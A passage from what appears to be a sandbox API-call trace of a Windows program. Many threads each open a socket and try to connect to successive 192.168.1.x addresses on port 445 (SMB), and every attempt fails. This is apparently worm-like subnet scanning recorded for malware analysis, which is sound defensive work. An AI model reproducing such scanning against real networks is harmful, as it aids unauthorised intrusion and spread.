closesocket (s=0x1474) returned 0 [0127.505] WSACleanup () returned 0 [0127.505] GetCurrentThreadId () returned 0x131c [0127.506] GetCurrentThreadId () returned 0x131c [0127.506] GetCurrentThreadId () returned 0x131c Thread: id = 661 os_tid = 0x1320 [0106.475] GetCurrentThreadId () returned 0x1320 [0106.475] GetCurrentThreadId () returned 0x1320 [0106.475] GetCurrentThreadId () returned 0x1320 [0106.475] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xdb3fdf0 | out: lpWSAData=0xdb3fdf0) returned 0 [0106.475] socket (af=2, type=1, protocol=0) returned 0x13ec [0106.476] inet_addr (cp="192.168.1.39") returned 0x2701a8c0 [0106.476] htons (hostshort=0x1bd) returned 0xbd01 [0106.476] connect (s=0x13ec, name=0xdb3fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.39"), namelen=16) returned -1 [0127.597] closesocket (s=0x13ec) returned 0 [0127.598] WSACleanup () returned 0 [0127.598] GetCurrentThreadId () returned 0x1320 [0127.598] GetCurrentThreadId () returned 0x1320 [0127.598] GetCurrentThreadId () returned 0x1320 Thread: id = 662 os_tid = 0x1324 [0106.553] GetCurrentThreadId () returned 0x1324 [0106.553] GetCurrentThreadId () returned 0x1324 [0106.553] GetCurrentThreadId () returned 0x1324 [0106.553] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xdc7fdf0 | out: lpWSAData=0xdc7fdf0) returned 0 [0106.553] socket (af=2, type=1, protocol=0) returned 0x13b4 [0106.553] inet_addr (cp="192.168.1.40") returned 0x2801a8c0 [0106.553] htons (hostshort=0x1bd) returned 0xbd01 [0106.553] connect (s=0x13b4, name=0xdc7fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.40"), namelen=16) returned -1 [0127.598] closesocket (s=0x13b4) returned 0 [0127.599] WSACleanup () returned 0 [0127.599] GetCurrentThreadId () returned 0x1324 [0127.599] GetCurrentThreadId () returned 0x1324 [0127.599] GetCurrentThreadId () returned 0x1324 Thread: id = 663 os_tid = 0x1328 [0106.646] GetCurrentThreadId () returned 0x1328 [0106.646] GetCurrentThreadId () returned 0x1328 [0106.646] GetCurrentThreadId () returned 0x1328 [0106.646] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xddbfdf0 | out: lpWSAData=0xddbfdf0) returned 0 [0106.646] socket (af=2, type=1, protocol=0) returned 0x13b8 [0106.647] inet_addr (cp="192.168.1.41") returned 0x2901a8c0 [0106.647] htons (hostshort=0x1bd) returned 0xbd01 [0106.647] connect (s=0x13b8, name=0xddbfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.41"), namelen=16) returned -1 [0127.801] closesocket (s=0x13b8) returned 0 [0127.801] WSACleanup () returned 0 [0127.801] GetCurrentThreadId () returned 0x1328 [0127.801] GetCurrentThreadId () returned 0x1328 [0127.801] GetCurrentThreadId () returned 0x1328 Thread: id = 664 os_tid = 0x132c [0106.802] GetCurrentThreadId () returned 0x132c [0106.802] GetCurrentThreadId () returned 0x132c [0106.802] GetCurrentThreadId () returned 0x132c [0106.802] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xdeffdf0 | out: lpWSAData=0xdeffdf0) returned 0 [0106.802] socket (af=2, type=1, protocol=0) returned 0x12e8 [0106.802] inet_addr (cp="192.168.1.42") returned 0x2a01a8c0 [0106.802] htons (hostshort=0x1bd) returned 0xbd01 [0106.802] connect (s=0x12e8, name=0xdeffde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.42"), namelen=16) returned -1 [0128.003] closesocket (s=0x12e8) returned 0 [0128.003] WSACleanup () returned 0 [0128.003] GetCurrentThreadId () returned 0x132c [0128.003] GetCurrentThreadId () returned 0x132c [0128.003] GetCurrentThreadId () returned 0x132c Thread: id = 665 os_tid = 0x1330 [0107.241] GetCurrentThreadId () returned 0x1330 [0107.241] GetCurrentThreadId () returned 0x1330 [0107.241] GetCurrentThreadId () returned 0x1330 [0107.241] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe07fdf0 | out: lpWSAData=0xe07fdf0) returned 0 [0107.241] socket (af=2, type=1, protocol=0) returned 0x163c [0107.241] inet_addr (cp="192.168.1.43") returned 0x2b01a8c0 [0107.241] htons (hostshort=0x1bd) returned 0xbd01 [0107.241] connect (s=0x163c, name=0xe07fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.43"), namelen=16) returned -1 [0128.299] closesocket (s=0x163c) returned 0 [0128.300] WSACleanup () returned 0 [0128.300] GetCurrentThreadId () returned 0x1330 [0128.300] GetCurrentThreadId () returned 0x1330 [0128.300] GetCurrentThreadId () returned 0x1330 Thread: id = 666 os_tid = 0x1334 [0107.961] GetCurrentThreadId () returned 0x1334 [0107.961] GetCurrentThreadId () returned 0x1334 [0107.961] GetCurrentThreadId () returned 0x1334 [0107.961] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe1bfdf0 | out: lpWSAData=0xe1bfdf0) returned 0 [0107.962] socket (af=2, type=1, protocol=0) returned 0x13b0 [0107.962] inet_addr (cp="192.168.1.44") returned 0x2c01a8c0 [0107.962] htons (hostshort=0x1bd) returned 0xbd01 [0107.962] connect (s=0x13b0, name=0xe1bfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.44"), namelen=16) returned -1 [0129.001] closesocket (s=0x13b0) returned 0 [0129.002] WSACleanup () returned 0 [0129.002] GetCurrentThreadId () returned 0x1334 [0129.002] GetCurrentThreadId () returned 0x1334 [0129.002] GetCurrentThreadId () returned 0x1334 Thread: id = 667 os_tid = 0x1338 [0108.052] GetCurrentThreadId () returned 0x1338 [0108.053] GetCurrentThreadId () returned 0x1338 [0108.053] GetCurrentThreadId () returned 0x1338 [0108.053] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe2bfdf0 | out: lpWSAData=0xe2bfdf0) returned 0 [0108.053] socket (af=2, type=1, protocol=0) returned 0x170c [0108.053] inet_addr (cp="192.168.1.45") returned 0x2d01a8c0 [0108.053] htons (hostshort=0x1bd) returned 0xbd01 [0108.053] connect (s=0x170c, name=0xe2bfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.45"), namelen=16) returned -1 [0129.204] closesocket (s=0x170c) returned 0 [0129.204] WSACleanup () returned 0 [0129.204] GetCurrentThreadId () returned 0x1338 [0129.204] GetCurrentThreadId () returned 0x1338 [0129.204] GetCurrentThreadId () returned 0x1338 Thread: id = 668 os_tid = 0x133c [0108.190] GetCurrentThreadId () returned 0x133c [0108.190] GetCurrentThreadId () returned 0x133c [0108.190] GetCurrentThreadId () returned 0x133c [0108.190] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe3ffdf0 | out: lpWSAData=0xe3ffdf0) returned 0 [0108.190] socket (af=2, type=1, protocol=0) returned 0x1760 [0108.190] inet_addr (cp="192.168.1.46") returned 0x2e01a8c0 [0108.190] htons (hostshort=0x1bd) returned 0xbd01 [0108.190] connect (s=0x1760, name=0xe3ffde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.46"), namelen=16) returned -1 [0129.205] closesocket (s=0x1760) returned 0 [0129.205] WSACleanup () returned 0 [0129.205] GetCurrentThreadId () returned 0x133c [0129.205] GetCurrentThreadId () returned 0x133c [0129.205] GetCurrentThreadId () returned 0x133c Thread: id = 669 os_tid = 0x1340 [0108.287] GetCurrentThreadId () returned 0x1340 [0108.287] GetCurrentThreadId () returned 0x1340 [0108.287] GetCurrentThreadId () returned 0x1340 [0108.287] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe53fdf0 | out: lpWSAData=0xe53fdf0) returned 0 [0108.287] socket (af=2, type=1, protocol=0) returned 0x173c [0108.288] inet_addr (cp="192.168.1.47") returned 0x2f01a8c0 [0108.288] htons (hostshort=0x1bd) returned 0xbd01 [0108.288] connect (s=0x173c, name=0xe53fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.47"), namelen=16) returned -1 [0129.501] closesocket (s=0x173c) returned 0 [0129.501] WSACleanup () returned 0 [0129.501] GetCurrentThreadId () returned 0x1340 [0129.501] GetCurrentThreadId () returned 0x1340 [0129.501] GetCurrentThreadId () returned 0x1340 Thread: id = 670 os_tid = 0x1344 [0108.398] GetCurrentThreadId () returned 0x1344 [0108.398] GetCurrentThreadId () returned 0x1344 [0108.398] GetCurrentThreadId () returned 0x1344 [0108.398] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe67fdf0 | out: lpWSAData=0xe67fdf0) returned 0 [0108.398] socket (af=2, type=1, protocol=0) returned 0x1790 [0108.399] inet_addr (cp="192.168.1.48") returned 0x3001a8c0 [0108.399] htons (hostshort=0x1bd) returned 0xbd01 [0108.399] connect (s=0x1790, name=0xe67fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.48"), namelen=16) returned -1 [0129.502] closesocket (s=0x1790) returned 0 [0129.502] WSACleanup () returned 0 [0129.502] GetCurrentThreadId () returned 0x1344 [0129.502] GetCurrentThreadId () returned 0x1344 [0129.502] GetCurrentThreadId () returned 0x1344 Thread: id = 673 os_tid = 0x1350 [0108.490] GetCurrentThreadId () returned 0x1350 [0108.490] GetCurrentThreadId () returned 0x1350 [0108.490] GetCurrentThreadId () returned 0x1350 [0108.490] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe7bfdf0 | out: lpWSAData=0xe7bfdf0) returned 0 [0108.490] socket (af=2, type=1, protocol=0) returned 0x1710 [0108.490] inet_addr (cp="192.168.1.49") returned 0x3101a8c0 [0108.490] htons (hostshort=0x1bd) returned 0xbd01 [0108.490] connect (s=0x1710, name=0xe7bfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.49"), namelen=16) returned -1 [0129.703] closesocket (s=0x1710) returned 0 [0129.704] WSACleanup () returned 0 [0129.704] GetCurrentThreadId () returned 0x1350 [0129.704] GetCurrentThreadId () returned 0x1350 [0129.704] GetCurrentThreadId () returned 0x1350 Thread: id = 674 os_tid = 0x1354 [0108.600] GetCurrentThreadId () returned 0x1354 [0108.600] GetCurrentThreadId () returned 0x1354 [0108.600] GetCurrentThreadId () returned 0x1354 [0108.600] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xe8ffdf0 | out: lpWSAData=0xe8ffdf0) returned 0 [0108.600] socket (af=2, type=1, protocol=0) returned 0x13bc [0108.601] inet_addr (cp="192.168.1.50") returned 0x3201a8c0 [0108.601] htons (hostshort=0x1bd) returned 0xbd01 [0108.601] connect (s=0x13bc, name=0xe8ffde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.50"), namelen=16) returned -1 [0129.704] closesocket (s=0x13bc) returned 0 [0129.705] WSACleanup () returned 0 [0129.705] GetCurrentThreadId () returned 0x1354 [0129.705] GetCurrentThreadId () returned 0x1354 [0129.705] GetCurrentThreadId () returned 0x1354 Thread: id = 676 os_tid = 0x135c [0108.720] GetCurrentThreadId () returned 0x135c [0108.720] GetCurrentThreadId () returned 0x135c [0108.720] GetCurrentThreadId () returned 0x135c [0108.720] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xea3fdf0 | out: lpWSAData=0xea3fdf0) returned 0 [0108.720] socket (af=2, type=1, protocol=0) returned 0x16fc [0108.720] inet_addr (cp="192.168.1.51") returned 0x3301a8c0 [0108.720] htons (hostshort=0x1bd) returned 0xbd01 [0108.720] connect (s=0x16fc, name=0xea3fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.51"), namelen=16) returned -1 [0129.797] closesocket (s=0x16fc) returned 0 [0129.797] WSACleanup () returned 0 [0129.797] GetCurrentThreadId () returned 0x135c [0129.797] GetCurrentThreadId () returned 0x135c [0129.797] GetCurrentThreadId () returned 0x135c Thread: id = 677 os_tid = 0x1360 [0108.819] GetCurrentThreadId () returned 0x1360 [0108.819] GetCurrentThreadId () returned 0x1360 [0108.819] GetCurrentThreadId () returned 0x1360 [0108.819] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xeb7fdf0 | out: lpWSAData=0xeb7fdf0) returned 0 [0108.819] socket (af=2, type=1, protocol=0) returned 0x16e0 [0108.820] inet_addr (cp="192.168.1.52") returned 0x3401a8c0 [0108.820] htons (hostshort=0x1bd) returned 0xbd01 [0108.820] connect (s=0x16e0, name=0xeb7fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.52"), namelen=16) returned -1 [0130.000] closesocket (s=0x16e0) returned 0 [0130.000] WSACleanup () returned 0 [0130.000] GetCurrentThreadId () returned 0x1360 [0130.000] GetCurrentThreadId () returned 0x1360 [0130.000] GetCurrentThreadId () returned 0x1360 Thread: id = 678 os_tid = 0x1364 [0108.930] GetCurrentThreadId () returned 0x1364 [0108.930] GetCurrentThreadId () returned 0x1364 [0108.930] GetCurrentThreadId () returned 0x1364 [0108.930] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xecbfdf0 | out: lpWSAData=0xecbfdf0) returned 0 [0108.930] socket (af=2, type=1, protocol=0) returned 0x16c0 [0108.930] inet_addr (cp="192.168.1.53") returned 0x3501a8c0 [0108.930] htons (hostshort=0x1bd) returned 0xbd01 [0108.930] connect (s=0x16c0, name=0xecbfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.53"), namelen=16) returned -1 [0130.001] closesocket (s=0x16c0) returned 0 [0130.001] WSACleanup () returned 0 [0130.001] GetCurrentThreadId () returned 0x1364 [0130.001] GetCurrentThreadId () returned 0x1364 [0130.001] GetCurrentThreadId () returned 0x1364 Thread: id = 680 os_tid = 0x136c [0109.037] GetCurrentThreadId () returned 0x136c [0109.037] GetCurrentThreadId () returned 0x136c [0109.037] GetCurrentThreadId () returned 0x136c [0109.037] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xedffdf0 | out: lpWSAData=0xedffdf0) returned 0 [0109.037] socket (af=2, type=1, protocol=0) returned 0x1698 [0109.037] inet_addr (cp="192.168.1.54") returned 0x3601a8c0 [0109.037] htons (hostshort=0x1bd) returned 0xbd01 [0109.037] connect (s=0x1698, name=0xedffde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.54"), namelen=16) returned -1 [0130.210] closesocket (s=0x1698) returned 0 [0130.212] WSACleanup () returned 0 [0130.212] GetCurrentThreadId () returned 0x136c [0130.212] GetCurrentThreadId () returned 0x136c [0130.212] GetCurrentThreadId () returned 0x136c Thread: id = 681 os_tid = 0x1370 [0109.128] GetCurrentThreadId () returned 0x1370 [0109.128] GetCurrentThreadId () returned 0x1370 [0109.128] GetCurrentThreadId () returned 0x1370 [0109.128] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xef3fdf0 | out: lpWSAData=0xef3fdf0) returned 0 [0109.128] socket (af=2, type=1, protocol=0) returned 0x1690 [0109.129] inet_addr (cp="192.168.1.55") returned 0x3701a8c0 [0109.129] htons (hostshort=0x1bd) returned 0xbd01 [0109.129] connect (s=0x1690, name=0xef3fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.55"), namelen=16) returned -1 [0130.213] closesocket (s=0x1690) returned 0 [0130.213] WSACleanup () returned 0 [0130.213] GetCurrentThreadId () returned 0x1370 [0130.213] GetCurrentThreadId () returned 0x1370 [0130.213] GetCurrentThreadId () returned 0x1370 Thread: id = 682 os_tid = 0x1374 [0109.220] GetCurrentThreadId () returned 0x1374 [0109.221] GetCurrentThreadId () returned 0x1374 [0109.221] GetCurrentThreadId () returned 0x1374 [0109.221] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf07fdf0 | out: lpWSAData=0xf07fdf0) returned 0 [0109.221] socket (af=2, type=1, protocol=0) returned 0x1680 [0109.221] inet_addr (cp="192.168.1.56") returned 0x3801a8c0 [0109.221] htons (hostshort=0x1bd) returned 0xbd01 [0109.221] connect (s=0x1680, name=0xf07fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.56"), namelen=16) returned -1 [0130.297] closesocket (s=0x1680) returned 0 [0130.297] WSACleanup () returned 0 [0130.297] GetCurrentThreadId () returned 0x1374 [0130.297] GetCurrentThreadId () returned 0x1374 [0130.297] GetCurrentThreadId () returned 0x1374 Thread: id = 683 os_tid = 0x1378 [0109.315] GetCurrentThreadId () returned 0x1378 [0109.315] GetCurrentThreadId () returned 0x1378 [0109.315] GetCurrentThreadId () returned 0x1378 [0109.315] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf1bfdf0 | out: lpWSAData=0xf1bfdf0) returned 0 [0109.315] socket (af=2, type=1, protocol=0) returned 0x1658 [0109.316] inet_addr (cp="192.168.1.57") returned 0x3901a8c0 [0109.316] htons (hostshort=0x1bd) returned 0xbd01 [0109.316] connect (s=0x1658, name=0xf1bfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.57"), namelen=16) returned -1 [0130.499] closesocket (s=0x1658) returned 0 [0130.499] WSACleanup () returned 0 [0130.499] GetCurrentThreadId () returned 0x1378 [0130.499] GetCurrentThreadId () returned 0x1378 [0130.499] GetCurrentThreadId () returned 0x1378 Thread: id = 684 os_tid = 0x137c [0109.456] GetCurrentThreadId () returned 0x137c [0109.456] GetCurrentThreadId () returned 0x137c [0109.456] GetCurrentThreadId () returned 0x137c [0109.456] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf2ffdf0 | out: lpWSAData=0xf2ffdf0) returned 0 [0109.456] socket (af=2, type=1, protocol=0) returned 0x1650 [0109.456] inet_addr (cp="192.168.1.58") returned 0x3a01a8c0 [0109.456] htons (hostshort=0x1bd) returned 0xbd01 [0109.456] connect (s=0x1650, name=0xf2ffde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.58"), namelen=16) returned -1 [0130.500] closesocket (s=0x1650) returned 0 [0130.500] WSACleanup () returned 0 [0130.500] GetCurrentThreadId () returned 0x137c [0130.500] GetCurrentThreadId () returned 0x137c [0130.500] GetCurrentThreadId () returned 0x137c Thread: id = 685 os_tid = 0x1380 [0109.548] GetCurrentThreadId () returned 0x1380 [0109.548] GetCurrentThreadId () returned 0x1380 [0109.548] GetCurrentThreadId () returned 0x1380 [0109.548] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf43fdf0 | out: lpWSAData=0xf43fdf0) returned 0 [0109.548] socket (af=2, type=1, protocol=0) returned 0x1630 [0109.548] inet_addr (cp="192.168.1.59") returned 0x3b01a8c0 [0109.548] htons (hostshort=0x1bd) returned 0xbd01 [0109.548] connect (s=0x1630, name=0xf43fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.59"), namelen=16) returned -1 [0130.621] closesocket (s=0x1630) returned 0 [0130.622] WSACleanup () returned 0 [0130.622] GetCurrentThreadId () returned 0x1380 [0130.622] GetCurrentThreadId () returned 0x1380 [0130.622] GetCurrentThreadId () returned 0x1380 Thread: id = 686 os_tid = 0x1384 [0109.641] GetCurrentThreadId () returned 0x1384 [0109.642] GetCurrentThreadId () returned 0x1384 [0109.642] GetCurrentThreadId () returned 0x1384 [0109.642] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf57fdf0 | out: lpWSAData=0xf57fdf0) returned 0 [0109.642] socket (af=2, type=1, protocol=0) returned 0x1620 [0109.642] inet_addr (cp="192.168.1.60") returned 0x3c01a8c0 [0109.642] htons (hostshort=0x1bd) returned 0xbd01 [0109.642] connect (s=0x1620, name=0xf57fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.60"), namelen=16) returned -1 [0130.702] closesocket (s=0x1620) returned 0 [0130.702] WSACleanup () returned 0 [0130.702] GetCurrentThreadId () returned 0x1384 [0130.702] GetCurrentThreadId () returned 0x1384 [0130.702] GetCurrentThreadId () returned 0x1384 Thread: id = 687 os_tid = 0x1388 [0109.751] GetCurrentThreadId () returned 0x1388 [0109.751] GetCurrentThreadId () returned 0x1388 [0109.751] GetCurrentThreadId () returned 0x1388 [0109.751] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf6bfdf0 | out: lpWSAData=0xf6bfdf0) returned 0 [0109.751] socket (af=2, type=1, protocol=0) returned 0x15f8 [0109.751] inet_addr (cp="192.168.1.61") returned 0x3d01a8c0 [0109.751] htons (hostshort=0x1bd) returned 0xbd01 [0109.751] connect (s=0x15f8, name=0xf6bfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.61"), namelen=16) returned -1 [0130.905] closesocket (s=0x15f8) returned 0 [0130.906] WSACleanup () returned 0 [0130.906] GetCurrentThreadId () returned 0x1388 [0130.906] GetCurrentThreadId () returned 0x1388 [0130.906] GetCurrentThreadId () returned 0x1388 Thread: id = 688 os_tid = 0x138c [0109.799] GetCurrentThreadId () returned 0x138c [0109.799] GetCurrentThreadId () returned 0x138c [0109.799] GetCurrentThreadId () returned 0x138c [0109.799] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf7ffdf0 | out: lpWSAData=0xf7ffdf0) returned 0 [0109.799] socket (af=2, type=1, protocol=0) returned 0x15f0 [0109.800] inet_addr (cp="192.168.1.62") returned 0x3e01a8c0 [0109.800] htons (hostshort=0x1bd) returned 0xbd01 [0109.800] connect (s=0x15f0, name=0xf7ffde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.62"), namelen=16) returned -1 [0130.907] closesocket (s=0x15f0) returned 0 [0130.907] WSACleanup () returned 0 [0130.907] GetCurrentThreadId () returned 0x138c [0130.907] GetCurrentThreadId () returned 0x138c [0130.907] GetCurrentThreadId () returned 0x138c Thread: id = 689 os_tid = 0x1390 [0109.891] GetCurrentThreadId () returned 0x1390 [0109.891] GetCurrentThreadId () returned 0x1390 [0109.891] GetCurrentThreadId () returned 0x1390 [0109.891] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xf93fdf0 | out: lpWSAData=0xf93fdf0) returned 0 [0109.891] socket (af=2, type=1, protocol=0) returned 0x15e0 [0109.892] inet_addr (cp="192.168.1.63") returned 0x3f01a8c0 [0109.892] htons (hostshort=0x1bd) returned 0xbd01 [0109.892] connect (s=0x15e0, name=0xf93fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.63"), namelen=16) returned -1 [0131.641] closesocket (s=0x15e0) returned 0 [0131.641] WSACleanup () returned 0 [0131.641] GetCurrentThreadId () returned 0x1390 [0131.641] GetCurrentThreadId () returned 0x1390 [0131.641] GetCurrentThreadId () returned 0x1390 Thread: id = 690 os_tid = 0x1394 [0109.987] GetCurrentThreadId () returned 0x1394 [0109.987] GetCurrentThreadId () returned 0x1394 [0109.987] GetCurrentThreadId () returned 0x1394 [0109.987] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xfa7fdf0 | out: lpWSAData=0xfa7fdf0) returned 0 [0109.987] socket (af=2, type=1, protocol=0) returned 0x15b8 [0109.987] inet_addr (cp="192.168.1.64") returned 0x4001a8c0 [0109.987] htons (hostshort=0x1bd) returned 0xbd01 [0109.987] connect (s=0x15b8, name=0xfa7fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.64"), namelen=16) returned -1 [0131.642] closesocket (s=0x15b8) returned 0 [0131.642] WSACleanup () returned 0 [0131.642] GetCurrentThreadId () returned 0x1394 [0131.642] GetCurrentThreadId () returned 0x1394 [0131.642] GetCurrentThreadId () returned 0x1394 Thread: id = 691 os_tid = 0x139c [0110.080] GetCurrentThreadId () returned 0x139c [0110.080] GetCurrentThreadId () returned 0x139c [0110.080] GetCurrentThreadId () returned 0x139c [0110.080] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xfbbfdf0 | out: lpWSAData=0xfbbfdf0) returned 0 [0110.080] socket (af=2, type=1, protocol=0) returned 0x16ac [0110.081] inet_addr (cp="192.168.1.65") returned 0x4101a8c0 [0110.081] htons (hostshort=0x1bd) returned 0xbd01 [0110.081] connect (s=0x16ac, name=0xfbbfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.65"), namelen=16) returned -1 [0131.643] closesocket (s=0x16ac) returned 0 [0131.643] WSACleanup () returned 0 [0131.643] GetCurrentThreadId () returned 0x139c [0131.643] GetCurrentThreadId () returned 0x139c [0131.643] GetCurrentThreadId () returned 0x139c Thread: id = 692 os_tid = 0x13a0 [0110.226] GetCurrentThreadId () returned 0x13a0 [0110.226] GetCurrentThreadId () returned 0x13a0 [0110.226] GetCurrentThreadId () returned 0x13a0 [0110.227] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xfd9fdf0 | out: lpWSAData=0xfd9fdf0) returned 0 [0110.227] socket (af=2, type=1, protocol=0) returned 0x157c [0110.227] inet_addr (cp="192.168.1.66") returned 0x4201a8c0 [0110.227] htons (hostshort=0x1bd) returned 0xbd01 [0110.227] connect (s=0x157c, name=0xfd9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.66"), namelen=16) returned -1 [0131.644] closesocket (s=0x157c) returned 0 [0131.644] WSACleanup () returned 0 [0131.644] GetCurrentThreadId () returned 0x13a0 [0131.644] GetCurrentThreadId () returned 0x13a0 [0131.644] GetCurrentThreadId () returned 0x13a0 Thread: id = 693 os_tid = 0x13a4 [0110.285] GetCurrentThreadId () returned 0x13a4 [0110.285] GetCurrentThreadId () returned 0x13a4 [0110.286] GetCurrentThreadId () returned 0x13a4 [0110.286] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xfe9fdf0 | out: lpWSAData=0xfe9fdf0) returned 0 [0110.286] socket (af=2, type=1, protocol=0) returned 0x1558 [0110.286] inet_addr (cp="192.168.1.67") returned 0x4301a8c0 [0110.286] htons (hostshort=0x1bd) returned 0xbd01 [0110.286] connect (s=0x1558, name=0xfe9fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.67"), namelen=16) returned -1 [0131.645] closesocket (s=0x1558) returned 0 [0131.645] WSACleanup () returned 0 [0131.645] GetCurrentThreadId () returned 0x13a4 [0131.645] GetCurrentThreadId () returned 0x13a4 [0131.645] GetCurrentThreadId () returned 0x13a4 Thread: id = 694 os_tid = 0x13a8 [0110.453] GetCurrentThreadId () returned 0x13a8 [0110.453] GetCurrentThreadId () returned 0x13a8 [0110.453] GetCurrentThreadId () returned 0x13a8 [0110.453] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0xffdfdf0 | out: lpWSAData=0xffdfdf0) returned 0 [0110.453] socket (af=2, type=1, protocol=0) returned 0x16f4 [0110.454] inet_addr (cp="192.168.1.68") returned 0x4401a8c0 [0110.454] htons (hostshort=0x1bd) returned 0xbd01 [0110.454] connect (s=0x16f4, name=0xffdfde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.68"), namelen=16) returned -1 [0131.646] closesocket (s=0x16f4) returned 0 [0131.646] WSACleanup () returned 0 [0131.646] GetCurrentThreadId () returned 0x13a8 [0131.646] GetCurrentThreadId () returned 0x13a8 [0131.646] GetCurrentThreadId () returned 0x13a8 Thread: id = 695 os_tid = 0x13ac [0110.513] GetCurrentThreadId () returned 0x13ac [0110.513] GetCurrentThreadId () returned 0x13ac [0110.513] GetCurrentThreadId () returned 0x13ac [0110.513] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1011fdf0 | out: lpWSAData=0x1011fdf0) returned 0 [0110.513] socket (af=2, type=1, protocol=0) returned 0x15b4 [0110.514] inet_addr (cp="192.168.1.69") returned 0x4501a8c0 [0110.514] htons (hostshort=0x1bd) returned 0xbd01 [0110.514] connect (s=0x15b4, name=0x1011fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.69"), namelen=16) returned -1 [0131.747] closesocket (s=0x15b4) returned 0 [0131.748] WSACleanup () returned 0 [0131.748] GetCurrentThreadId () returned 0x13ac [0131.748] GetCurrentThreadId () returned 0x13ac [0131.748] GetCurrentThreadId () returned 0x13ac Thread: id = 696 os_tid = 0x13b0 [0110.595] GetCurrentThreadId () returned 0x13b0 [0110.595] GetCurrentThreadId () returned 0x13b0 [0110.595] GetCurrentThreadId () returned 0x13b0 [0110.595] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1021fdf0 | out: lpWSAData=0x1021fdf0) returned 0 [0110.595] socket (af=2, type=1, protocol=0) returned 0x15ac [0110.595] inet_addr (cp="192.168.1.70") returned 0x4601a8c0 [0110.595] htons (hostshort=0x1bd) returned 0xbd01 [0110.595] connect (s=0x15ac, name=0x1021fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.70"), namelen=16) returned -1 [0131.748] closesocket (s=0x15ac) returned 0 [0131.749] WSACleanup () returned 0 [0131.749] GetCurrentThreadId () returned 0x13b0 [0131.749] GetCurrentThreadId () returned 0x13b0 [0131.749] GetCurrentThreadId () returned 0x13b0 Thread: id = 697 os_tid = 0x13b4 [0110.688] GetCurrentThreadId () returned 0x13b4 [0110.688] GetCurrentThreadId () returned 0x13b4 [0110.688] GetCurrentThreadId () returned 0x13b4 [0110.688] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1035fdf0 | out: lpWSAData=0x1035fdf0) returned 0 [0110.688] socket (af=2, type=1, protocol=0) returned 0x182c [0110.688] inet_addr (cp="192.168.1.71") returned 0x4701a8c0 [0110.688] htons (hostshort=0x1bd) returned 0xbd01 [0110.688] connect (s=0x182c, name=0x1035fde0*(sa_family=2, sin_port=0x1bd, sin_addr="192.168.1.71"), namelen=16) returned -1 [0132.013] closesocket (s=0x182c) returned 0 [0132.013] WSACleanup () returned 0 [0132.013] GetCurrentThreadId () returned 0x13b4 [0132.013] GetCurrentThreadId () returned 0x13b4 [0132.013] GetCurrentThreadId () returned 0x13b4 Thread: id = 698 os_tid = 0x13b8 [0110.806] GetCurrentThreadId () returned 0x13b8 [0110.806] GetCurrentThreadId () returned 0x13b8 [0110.806] GetCurrentThreadId () returned 0x13b8 [0110.806] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x1049fdf0 | out: 